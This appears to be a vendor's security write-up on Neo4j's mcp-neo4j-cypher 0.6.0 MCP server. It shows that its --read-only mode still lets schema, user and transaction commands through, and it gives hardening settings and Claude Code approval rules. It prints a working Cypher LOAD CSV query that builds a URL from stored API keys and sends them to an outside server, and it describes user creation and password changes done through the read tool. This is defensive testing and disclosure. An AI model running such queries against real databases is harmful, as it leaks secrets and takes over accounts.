Neo4j MCP server: what --read-only really stops, and how to make your agent ask

The three tools of Neo4j's mcp-neo4j-cypher 0.6.0, checked by running it against Neo4j 5.26 Community: how its read tool judges a query by Neo4j's own plan, why index, constraint and user commands still passed as reads with --read-only on, how LOAD CSV in a read sent an API key to another server, what Community Edition can and cannot lock down, and the Claude Code settings that make it ask.

Checked on by running mcp-neo4j-cypher 0.6.0 (PyPI, run with uvx) from neo4j-contrib/mcp-neo4j and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.

The short answer

Its read tool stops data writes, but index, constraint and user commands pass as reads, and LOAD CSV can send what it reads to any address Neo4j can reach. Let get_neo4j_schema run unasked, make read_neo4j_cypher ask, and point it at a read-only copy that cannot reach the internet.

Can run on their own
1
Should ask a person
2

Which Neo4j server this is

This page is about mcp-neo4j-cypher, the Cypher server in Neo4j’s neo4j-contrib/mcp-neo4j repository, the one its README sets up with uvx. We ran 0.6.0 that way against Neo4j 5.26.16 Community in Docker, with APOC from the image’s own labs folder, because get_neo4j_schema needs it. On that image APOC’s schema call failed with a missing Guava class until we added Guava to the plugins folder. The server offers three tools: get_neo4j_schema, read_neo4j_cypher and write_neo4j_cypher. Its initialize answer says “mcp-neo4j-cypher” 2.13.3, which is the version of FastMCP, the library it is built on, not of the package.

How it decides what is a write

We read its code. Before either Cypher tool runs a query, the server asks Neo4j to plan it with EXPLAIN and looks at the query type Neo4j reports: r, w, rw or s. Anything with a w in it is a write. The read tool refuses those with “Only MATCH queries are allowed for read-query” and runs the rest in a read transaction with a 30-second timeout. The write tool refuses everything without a w. The fourth type, s, is what Neo4j reports for schema and administration commands, and the check treats it as a read.

For data, that held. The read tool refused CREATE, DETACH DELETE, a SET behind a comment that looks like a MATCH, a SET inside CALL { … } and inside FOREACH, db.createLabel, and APOC’s create.node, cypher.runWrite and periodic.iterate. apoc.cypher.run, which plans as a read, got past the check, and Neo4j stopped the CREATE inside it at run time. Run straight from a driver in a read transaction, a plain CREATE got “Writing in read access mode not allowed”, so data writes meet two locks, not one.

What --read-only stops, and what got through

--read-only, or NEO4J_READ_ONLY=true, removes write_neo4j_cypher from the tool list and does nothing else: the read tool keeps the same check. With it on, signed in as the neo4j user the README uses, read_neo4j_cypher answered each of these with an empty list, and each took effect:

  • CREATE INDEX and DROP CONSTRAINT.
  • CREATE USER, ALTER USER … SET PASSWORD on another user, and DROP USER. SHOW USERS listed every account.
  • SHOW TRANSACTIONS showed a query another session was running, with its parameters, including the card number we had put in one. TERMINATE TRANSACTIONS then ended that query 2.5 seconds into its 15.

Without the switch, DROP INDEX, CREATE CONSTRAINT and CALL db.clearQueryCaches() went through the read tool the same way. With writes switched on, the write tool refused CREATE INDEX with “Only write queries are allowed”. Schema changes are refused by the tool named for writing and run by the one named for reading.

A read can send data to another server

LOAD CSV is a read in Neo4j’s plan, so the read tool runs it, and the address can be built from the data. We ran a small web server on the host and sent this through read_neo4j_cypher with --read-only on:

MATCH (k:ApiKey)
LOAD CSV FROM 'http://host.docker.internal:18999/x?key=' + k.key AS row
RETURN row

Our server logged GET /x?key=sk_test_canary_123 from NeoLoadCSV_Java, and what it answered came back to the agent as rows. apoc.load.json did the same with all five customer email addresses in the URL; the request arrived even though our answer was not JSON and the call failed. For files, LOAD CSV read file:///local.csv from Neo4j’s import folder, but file:///etc/passwd and file:///../conf/neo4j.conf failed, because file URLs stay inside server.directories.import. apoc.load.json refused files, as APOC’s file import is off by default.

Timeouts, limits and names

  • The 30-second timeout, NEO4J_READ_TIMEOUT, applies only to read_neo4j_cypher. Set to 3, it ended a 6-second sleep. The schema tool and the write tool run without one, and this image’s db.transaction.timeout was 0, which means none.
  • Without NEO4J_SCHEMA_SAMPLE_SIZE, get_neo4j_schema failed every time with “Variable None not defined”. The README says the default is 1000 and names a --sample flag; the flag is --schema-sample-size.
  • NEO4J_RESPONSE_TOKEN_LIMIT=20 cut the answer off in the middle of a string, with no sign that it had. Passed as --token-limit 20 instead, every read failed with “'>' not supported between instances of 'int' and 'str'”.
  • Lists of 128 items or more are dropped from answers without a word: RETURN range(1, 200) AS ids, 'kept' AS other came back as [{"other": "kept"}].
  • NEO4J_NAMESPACE=prod renamed the tools to prod-read_neo4j_cypher and so on, so the allow rule below no longer matches and Claude Code asks for every tool.
  • A failed query’s error message repeats the query and its parameters, and the server writes both to its log.

The HTTP transport

With --transport http it listened on 127.0.0.1; its code picks port 8000 unless told otherwise. A request with Host: evil.example got “Invalid host header”, a browser preflight from another origin got 400, and a text/plain post, which a page can send without a preflight, got “Invalid Content-Type header”. There is no sign-in, though: one curl post with no session ran read_neo4j_cypher and returned the API key. Any program on the machine can do the same.

What Neo4j itself can stop in Community Edition

Community Edition has no roles. SHOW ROLES and GRANT ROLE reader were refused as unsupported commands, and a second user we created could create users and delete nodes like neo4j. A separate user for the agent changes nothing here. Enterprise Edition and Aura have roles such as reader; we did not test them. What Community does have are server settings, so we restarted Neo4j with these two lines:

server.databases.read_only=neo4j
dbms.security.allow_csv_import_from_file_urls=false

Then the write tool’s DETACH DELETE and the read tool’s CREATE INDEX and DROP INDEX got “No write operations are allowed on this database”, and file:///local.csv was refused. CREATE USER still worked, because users live in the system database, which this setting does not cover. Another session’s parameters still showed, and LOAD CSV still sent the key out. The setting makes the database read-only for everyone on that Neo4j server, which is why it belongs on a copy.

What stopped LOAD CSV was the network. We moved Neo4j and a container running the server onto a Docker network made with docker network create --internal. The same LOAD CSV failed with “Couldn’t load the external resource”, apoc.load.json answered “Unable to verify access to host.docker.internal”, and our web server got nothing. On a server, a firewall rule that drops the Neo4j host’s outbound connections is the equivalent; we did not test one.

A setup we would use

Give the agent a copy of the graph on its own Community server, loaded from a dump, with the two lines above in neo4j.conf and no route to the internet. Then add the server with --read-only, so its write tool is gone, and a schema sample size, so its schema tool works:

claude mcp add neo4j -e NEO4J_URI=bolt+s://graph-copy.internal:7687 -e NEO4J_USERNAME=agent -e NEO4J_PASSWORD=… -e NEO4J_SCHEMA_SAMPLE_SIZE=1000 -- uvx mcp-neo4j-cypher==0.6.0 --read-only

On that copy the agent cannot change the data or the schema, and what it reads cannot leave the network. It can still create Neo4j users there and see or end other sessions’ queries, so read_neo4j_cypher keeps asking. The README prefers the NEO4J_* settings to --password and the other flags, and so do we: a flag would put the password in the command line. The bolt+s address needs Bolt TLS turned on for the copy, since the password crosses the network; we ran plain bolt on one machine. The schema tool runs unasked and with no timeout of its own, so set db.transaction.timeout on the copy as well.

Its three tools

Hard to undo2 toolsAsk a person every time. Consider two people, or deny it if the agent never needs it.

  • read_neo4j_cypher

    Execute a read Cypher query on the neo4j database.

    Server says: read-only

    Our call: Marked read-only, but it only refuses what Neo4j's plan calls a data write. With --read-only on it created a Neo4j user, changed another user's password, created an index, ended another session's query, and a LOAD CSV sent an API key to a server we ran.

  • write_neo4j_cypher

    Execute a write Cypher query on the neo4j database.

    Server says: destructive

Only looks1 toolLet it run. It only looks.

  • get_neo4j_schema

    Returns nodes, their properties (with types and indexed flags), and relationships using APOC's schema inspection.

    Server says: read-only

Let the reads run in Claude Code

Claude Code asks before every MCP tool it has no rule for. Added as neo4j, this server’s tools are named mcp__neo4j__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.

{
  "permissions": {
    "allow": [
      "mcp__neo4j__get_neo4j_schema"
    ]
  }
}

The command that adds the server:

claude mcp add neo4j -e NEO4J_URI=bolt+s://graph-copy.internal:7687 -e NEO4J_USERNAME=agent -e NEO4J_PASSWORD=… -e NEO4J_SCHEMA_SAMPLE_SIZE=1000 -- uvx mcp-neo4j-cypher==0.6.0 --read-only

Send the rest to a person, not the terminal

A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "mcp__neo4j__(?!(get_neo4j_schema)$).*",
        "hooks": [
          { "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
        ]
      }
    ]
  }
}

Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.

Any MCP client: put the proxy in front

Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz login once to save a key, then use this in claude_desktop_config.json or ~/.cursor/mcp.json:

{
  "mcpServers": {
    "neo4j": {
      "args": [
        "-y",
        "https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz",
        "mcp-proxy",
        "--name",
        "neo4j",
        "--look-only",
        "get_neo4j_schema",
        "--",
        "uvx",
        "mcp-neo4j-cypher==0.6.0",
        "--read-only"
      ],
      "command": "npx",
      "env": {
        "NEO4J_URI": "bolt+s://graph-copy.internal:7687",
        "NEO4J_USERNAME": "agent",
        "NEO4J_PASSWORD": "…",
        "NEO4J_SCHEMA_SAMPLE_SIZE": "1000"
      }
    }
  }
}

Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):

npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz setup claude-desktop

The same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__neo4j, keeps Claude Code from asking a second time in the terminal:

claude mcp add neo4j -e NEO4J_URI=bolt+s://graph-copy.internal:7687 -e NEO4J_USERNAME=agent -e NEO4J_PASSWORD=… -e NEO4J_SCHEMA_SAMPLE_SIZE=1000 -- npx -y https://variantgate.com/sdk/variantgate-agent-0.15.0.tgz mcp-proxy --name neo4j --look-only get_neo4j_schema -- uvx mcp-neo4j-cypher==0.6.0 --read-only

When the agent should write

Add the server a second time under its own name, such as neo4j-write, without --read-only and pointed at the real database, so the rules for mcp__neo4j__ do not cover it. In Community Edition whoever it signs in as can do anything, users included, so the person approving each call is the only limit: read the whole query, including any LOAD CSV or procedure call. Leave index and constraint changes to a person in cypher-shell; the write tool refuses them anyway.

See it before you decide.

The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.